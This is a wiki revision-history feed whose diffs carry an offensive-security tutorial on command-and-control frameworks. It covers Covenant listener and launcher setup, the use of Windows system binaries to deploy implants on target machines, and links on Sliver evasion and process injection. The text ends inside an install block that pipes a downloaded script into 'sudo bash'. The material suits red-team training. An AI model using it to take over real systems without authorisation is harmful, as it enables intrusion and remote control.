<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Offensive_Security%2FCommand_and_Control</id>
	<title>Offensive Security/Command and Control - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Offensive_Security%2FCommand_and_Control"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;action=history"/>
	<updated>2026-04-06T00:03:45Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=2298&amp;oldid=prev</id>
		<title>Administrator at 22:49, 17 February 2026</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=2298&amp;oldid=prev"/>
		<updated>2026-02-17T22:49:00Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 22:49, 17 February 2026&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot;&gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[[File:2022-10-wp7177528.webp|thumb]]&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-added&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-added&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;This is a list of Command and control (C2) servers that I&amp;#039;ve tested.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;This is a list of Command and control (C2) servers that I&amp;#039;ve tested.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key my_wiki:diff:1.41:old-2287:rev-2298:php=table --&gt;
&lt;/table&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=2287&amp;oldid=prev</id>
		<title>Administrator at 22:22, 17 February 2026</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=2287&amp;oldid=prev"/>
		<updated>2026-02-17T22:22:59Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;amp;diff=2287&amp;amp;oldid=1205&quot;&gt;Show changes&lt;/a&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=1205&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 12:26, 17 October 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Command_and_Control&amp;diff=1205&amp;oldid=prev"/>
		<updated>2022-10-17T12:26:16Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[File:2022-10-wp7177528.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is a list of Command and control (C2) servers that I&amp;#039;ve tested.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Cobalt Strike =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Covenant =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Installation and setup ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the Covenant GitHub, &amp;quot;Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For more information about Covenant, check out the Covenant GitHub wiki, [https://github.com/cobbr/Covenant/wiki https://github.com/cobbr/Covenant/wiki][https://github.com/cobbr/Covenant/wiki https://github.com/cobbr/Covenant/wiki]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Covenant installation is relatively straightforward, with a few quirks and areas that may need troubleshooting. The installation requires two separate central installs: .NET Core SDK and downloading Covenant itself.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To begin setting up Covenant, we will begin with installing the .NET Core SDK. Covenant requires .NET Core SDK 3.1.0. You can download the SDK from either the .NET downloads page or adding the .NET repositories and downloading via apt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For more information about downloading via the downloads page, check out this link, [https://dotnet.microsoft.com/download/dotnet/3.1 https://dotnet.microsoft.com/download/dotnet/3.1].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For more information about downloading via the repositories, check out this link, [https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Follow along with either of the methods and install .NET Core SDK 3.1.0. This will be the utility we use to build and run Covenant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you have the SDK installed, you can clone the Covenant repository from GitHub. Find an example below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command used: &amp;lt;code&amp;gt;git clone --recurse-submodules https://github.com/cobbr/Covenant&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since Covenant is written entirely in .NET Core, all dependencies are already handled when building with the SDK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that both the SDK and Covenant are installed, we can start up Covenant for the first time. Covenant will start on localhost port 7443. Find example syntax below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command used: &amp;lt;code&amp;gt;sudo ./dotnet run --project /opt/Covenant/Covenant&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you navigate to [http://127.0.0.1:7443/ 127.0.0.1:7443] you will be greeted with a user creation screen. Create a user and sign in to Covenant. Find an example of the sign-in page below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Liseners ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When operating with Covenant, there are four main stages: creating a listener, generating a stager, deploying a grunt, utilizing the grunt. All stages of operation can already be done using other tools like MSFVenom, Netcat, Metasploit, etc. however, Covenant gives you a way to operationalize them all under one platform allowing for easier management and collaborative operations.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Covenant is an extensive and diverse command and control framework with many different functionalities. We will only be covering the basics of operating with Covenant. For more information, check out the SpecterOps blog, [https://posts.specterops.io/ https://posts.specterops.io/], and the SoCon talk on &amp;quot;Operating with Covenant&amp;quot; by Ryan Cobb and Justin Bui [https://www.youtube.com/watch?v=oN_0pPI6TYU https://www.youtube.com/watch?v=oN_0pPI6TYU].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step in operating with Covenant is to create a listener. Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic. There are four default profiles that Covenant comes with, outlined below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;CustomHttpProfile&amp;lt;/code&amp;gt; Custom profile that does not require any cookies.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;DefaultBridgeProfile&amp;lt;/code&amp;gt; Default profile for a C2 bridge.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;DefaultHttpProfile&amp;lt;/code&amp;gt; Default HTTP profile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;TCPBridgeProfile&amp;lt;/code&amp;gt; Default TCP profile for a C2 bridge.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Covenant offers an easy way of editing the listeners along with a GUI. There are many parameters present; we will only be going over a quick overview of each parameter outlined below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Name&amp;lt;/code&amp;gt; Name of profile to be used throughout the interface.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Description&amp;lt;/code&amp;gt; Description of profile and its use cases.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;MessageTransform&amp;lt;/code&amp;gt; Specify how data will be transformed before being placed in other parameters. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpUrls&amp;lt;/code&amp;gt; list of URLs the grunt can callback to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpRequestHeaders&amp;lt;/code&amp;gt; List of header pairs (name/value) that will be sent with every HTTP request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpResponseHeaders&amp;lt;/code&amp;gt; List of header pairs (name/value) that will be sent with every HTTP response.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpPostRequest&amp;lt;/code&amp;gt; Format of data when a grunt posts data back to the profile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpGetResponse&amp;lt;/code&amp;gt; HTTP response when a grunt GETs data to the listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpPostResponse&amp;lt;/code&amp;gt; HTTP response when a grunt POSTs data to the listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We will be going further in-depth with editing and creating profiles in Task 26.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you have decided what profile you would like to use, we can begin creating the listener. We recommend using the&amp;#039;&amp;#039; DefaultHttpProfile&amp;#039;&amp;#039;, to start with, but we will be changing this in later tasks when dealing with AV evasion.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To create a listener, navigate to the &amp;#039;&amp;#039;Listeners&amp;#039;&amp;#039; tab from the side menu and select &amp;#039;&amp;#039;Create Listener&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You will see several options to edit; each option is outlined below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Name&amp;lt;/code&amp;gt; (optional) will help to identify different listeners.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;BindAddress&amp;lt;/code&amp;gt; Local address listener will bind on, usually &amp;lt;code&amp;gt;0.0.0.0&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;BindPort&amp;lt;/code&amp;gt; Local port listener will bind on.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ConnectPort&amp;lt;/code&amp;gt; Port to callback to, suggested to set to &amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;8888&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ConnectAddresses&amp;lt;/code&amp;gt; Addresses for the listener to callback to, hostname portion of the &amp;lt;code&amp;gt;URL&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;URLs&amp;lt;/code&amp;gt; Callback URLs the grunt will be connected directly back to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;UseSSL&amp;lt;/code&amp;gt; Determines whether or not the listener uses &amp;lt;code&amp;gt;HTTP&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;HTTPS&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;SSLCertificate&amp;lt;/code&amp;gt; Certificate used by the listener if SSL is set to true.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;SSLCertificatePassword&amp;lt;/code&amp;gt; Password being used by the &amp;lt;code&amp;gt;SSLCertificate&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HttpProfile&amp;lt;/code&amp;gt; Profile used by the listener and grunt to determine communication behavior.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To create a basic listener for this network we only suggest editing the &amp;lt;code&amp;gt;Name&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ConnectPort&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;ConnectAddresses&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once created, the listener should appear within the Listeners tab. You can now start and stop the listener as needed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:6mFpwNR.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Grunts ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we have a listener in Covenant, we can create a launcher to deploy a grunt. Again, this will be helpful later when you get onto a Windows box and need to deploy a grunt quickly.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the Covenant GitHub, &amp;quot;Launchers are used to generate, host, and download binaries, scripts, and one-liners to launch new Grunts.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are ten different launchers to choose from within Covenant, each launcher will have its requirements, and some may not be supported on modern operating systems. Launcher types are outlined below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Binary&amp;lt;/code&amp;gt; Generates a custom binary to launch grunt, does not rely on a system binary.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Shellcode&amp;lt;/code&amp;gt; Converts binary to shellcode using donut, [https://github.com/TheWover/donut https://github.com/TheWover/donut][https://github.com/TheWover/donut https://github.com/TheWover/donut]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;PowerShell&amp;lt;/code&amp;gt; Generates PowerShell code to launch a grunt using &amp;lt;code&amp;gt;powershell.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;MSBuild&amp;lt;/code&amp;gt; Generates an MSBuild XML file to launch a grunt using &amp;lt;code&amp;gt;msbuild.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ https://lolbas-project.github.io/lolbas/Binaries/Msbuild/][https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ https://lolbas-project.github.io/lolbas/Binaries/Msbuild/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;InstallUtil&amp;lt;/code&amp;gt; Generates an InstallUtil XML file to launch a grunt using &amp;lt;code&amp;gt;installutil.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Installutil/ https://lolbas-project.github.io/lolbas/Binaries/Installutil/][https://lolbas-project.github.io/lolbas/Binaries/Installutil/ https://lolbas-project.github.io/lolbas/Binaries/Installutil/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Mshta&amp;lt;/code&amp;gt; Generates an HTA file to launch a grunt using &amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Mshta/ https://lolbas-project.github.io/lolbas/Binaries/Mshta/][https://lolbas-project.github.io/lolbas/Binaries/Mshta/ https://lolbas-project.github.io/lolbas/Binaries/Mshta/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Regsrv32&amp;lt;/code&amp;gt; Generates an SCT file to launch a grunt using &amp;lt;code&amp;gt;regsrv32.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/][https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Wmic&amp;lt;/code&amp;gt; Generates an XSL file to launch a grunt using &amp;lt;code&amp;gt;wmic.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Wmic/ https://lolbas-project.github.io/lolbas/Binaries/Wmic/][https://lolbas-project.github.io/lolbas/Binaries/Wmic/ https://lolbas-project.github.io/lolbas/Binaries/Wmic/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Cscript&amp;lt;/code&amp;gt; Generate a JScript file to launch a grunt using &amp;lt;code&amp;gt;cscript.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Cscript/ https://lolbas-project.github.io/lolbas/Binaries/Cscript/][https://lolbas-project.github.io/lolbas/Binaries/Cscript/ https://lolbas-project.github.io/lolbas/Binaries/Cscript/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Wscript&amp;lt;/code&amp;gt; Generate a JScript file to launch a grunt using &amp;lt;code&amp;gt;wscript.exe&amp;lt;/code&amp;gt;, [https://lolbas-project.github.io/lolbas/Binaries/Wscript/ https://lolbas-project.github.io/lolbas/Binaries/Wscript/][https://lolbas-project.github.io/lolbas/Binaries/Wscript/ https://lolbas-project.github.io/lolbas/Binaries/Wscript/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are several options for each launcher, with some launchers having specific options. For this task, we will be focusing on the binary launcher and its options. The configuration options are outlined below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Listener&amp;lt;/code&amp;gt; Listener the grunt will communicate with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ImplantTemplate&amp;lt;/code&amp;gt; Type of implant launcher will use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;DotNetVersion&amp;lt;/code&amp;gt; .NET version launcher will use, dependent on &amp;lt;code&amp;gt;ImplantTemplate&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Delay&amp;lt;/code&amp;gt; Time grunt will sleep in-between callbacks. A larger delay can aid in stealthy communications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;JitterPercent&amp;lt;/code&amp;gt; Percent of variability in &amp;lt;code&amp;gt;Delay&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ConnectAttempts&amp;lt;/code&amp;gt; Amount of times grunt will attempt to connect back to the server before quitting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;KillDate&amp;lt;/code&amp;gt; Date specified grunt will quit and stop calling back.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To create a basic launcher for this network, we only suggest editing the &amp;lt;code&amp;gt;Listener&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;ImplantTemplate&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once created, the launcher will be downloaded or output a one-liner that can be copied. You can then use the launcher as needed to deploy grunts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:IREQTwm.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To deploy a grunt, you will only need to transfer your launcher to your target machine and execute the payload using your preferred method; this will change based on what launcher you decide to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once executed, the grunt should check back into the server and appear within the &amp;#039;&amp;#039;Grunt&amp;#039;&amp;#039; tab.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Note:&amp;#039;&amp;#039;&amp;#039; This is only an example of executing a grunt; you will not need to execute a grunt until later tasks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:sk5C4K7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you navigate to the grunt to interact with it, you will be given an interaction menu. From here, you can remotely control the grunt and execute shell commands and modules. This will be covered further in-depth in Task 29.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:XSEdAaJ.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Powershell-Empire with Starkiller =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= PoshC2 =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= GodGenesis =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Metasploit =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Sliver =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links and tutorial ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://sliver.sh/ https://sliver.sh/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://bishopfox.com/blog/passing-the-osep-exam-using-sliver Passing the OSEP Exam Using Sliver | Bishop Fox]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://notateamserver.xyz/sliver-101/#sessions Writing a Beginner&amp;#039;s Guide to Sliver Because the Devs Won&amp;#039;t (notateamserver.xyz)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://tishina.in/opsec/sliver-opsec-notes sliver-opsec-notes - (tishina.in)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8 Writing a Sliver C2 Powershell Stager with Shellcode Compression and AES Encryption | by Ycf-Kel | Medium]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Link&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_01_installation/ Learning Sliver C2 (01) - Installation]&lt;br /&gt;
| This post covers the installation of Sliver C2, including prerequisites and step-by-step instructions for setting up the C2 framework.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_02_beacons_and_sessions/ Learning Sliver C2 (02) - Beacons and Sessions]&lt;br /&gt;
| This post explains how to manage beacons and sessions in Sliver C2, providing details on how to interact with infected systems once they connect back to the server.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_03_transports_in_detail_mtls_and_wg/ Learning Sliver C2 (03) - Transports in Detail: mTLS and WireGuard]&lt;br /&gt;
| This post dives into the details of Sliver&amp;#039;s transport mechanisms, specifically mTLS and WireGuard, explaining how to securely transmit data between the C2 server and implants.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_04_transports_in_detail_http_and_https/ Learning Sliver C2 (04) - Transports in Detail: HTTP and HTTPS]&lt;br /&gt;
| This post explores the use of HTTP and HTTPS transports within Sliver C2, discussing how to configure and leverage these protocols for secure command and control communications.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_05_transports_in_detail_dns/ Learning Sliver C2 (05) - Transports in Detail: DNS]&lt;br /&gt;
| This post provides an in-depth look at using DNS as a transport method in Sliver C2, covering how to set up and use DNS for command and control operations.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/ Learning Sliver C2 (06) - Stagers]&lt;br /&gt;
| This post introduces the concept of stagers in Sliver C2, explaining how to create and use stagers to deliver Sliver implants to target systems.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_06_stagers_process_injection/ Learning Sliver C2 (06) - Stagers: Process Injection]&lt;br /&gt;
| This post expands on stagers by demonstrating how to perform process injection with Sliver C2, allowing implants to run within the context of another process to evade detection.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_08_implant_basics/ Learning Sliver C2 (08) - Implant Basics]&lt;br /&gt;
| This post covers the basic functionality of Sliver implants, including file system interactions, process management, and network connections.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_09_execute_assembly/ Learning Sliver C2 (09) - Execute Assembly]&lt;br /&gt;
| This post explains how to use the execute-assembly command in Sliver to run .NET assemblies directly on the target system, allowing for the execution of custom .NET code.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_10_sideload/ Learning Sliver C2 (10) - Sideload]&lt;br /&gt;
| This post delves into the sideload command in Sliver, which is used to execute native shared libraries and EXE files on the target system.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_11_spawndll/ Learning Sliver C2 (11) - SpawnDLL]&lt;br /&gt;
| This post covers the spawndll command in Sliver, which is used to execute reflective DLLs on the target system, providing insights into how the reflective loader works.&lt;br /&gt;
|-&lt;br /&gt;
| [https://dominicbreuker.com/post/learning_sliver_c2_12_extensions/ Learning Sliver C2 (12) - Extensions]&lt;br /&gt;
| This post discusses how to extend Sliver C2 by adding custom commands and functionality, enabling users to tailor the framework to their specific needs.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Install ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Prerequistis&lt;br /&gt;
apt install mingw-w64&lt;br /&gt;
&lt;br /&gt;
# Metasploit Setup (Optional)&lt;br /&gt;
# Sliver expects MSF version 5+.&lt;br /&gt;
&lt;br /&gt;
# Install sliver&lt;br /&gt;
curl https://sliver.sh/install|sudo bash&lt;br /&gt;
# and then run&lt;br /&gt;
sliver&lt;br /&gt;
